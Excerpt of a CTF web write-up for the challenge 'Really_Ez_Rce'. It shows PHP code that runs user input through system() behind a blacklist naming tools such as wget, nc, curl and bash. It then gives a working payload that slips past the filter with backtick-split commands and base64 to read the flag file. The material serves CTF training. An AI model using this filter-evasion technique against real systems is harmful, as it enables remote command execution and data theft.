H&NCTF-2025-Web-Writeup
Web Really_Ez_Rce 源码 1<?php 2header('Content-Type: text/html; charset=utf-8'); 3highlight_file(__FILE__); 4error_reporting(0); 5 6if (isset($_REQUEST['Number'])) { 7 $inputNumber = $_REQUEST['Number']; 8 9 if (preg_match('/\d/', $inputNumber)) { 10 die("不行不行,不能这样"); 11 } 12 13 if (intval($inputNumber)) { 14 echo "OK,接下来你知道该怎么做吗"; 15 16 if (isset($_POST['cmd'])) { 17 $cmd = $_POST['cmd']; 18 19 if (!preg_match( 20 '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i', 21 $cmd 22 )) { 23 echo "你传的参数似乎挺正经的,放你过去吧<br>"; 24 system($cmd); 25 } else { 26 echo "nonono,hacker!!!"; 27 } 28 } 29 } 30} Payload: POST: Number[]=1&cmd=ec``ho Y2F0IC9mKg== | ba``se64 -d | bas``h Watch 出题人写了一个基于 ntdll.dll 的 Windows NT 原生 API 调用实现的文件读取库 ...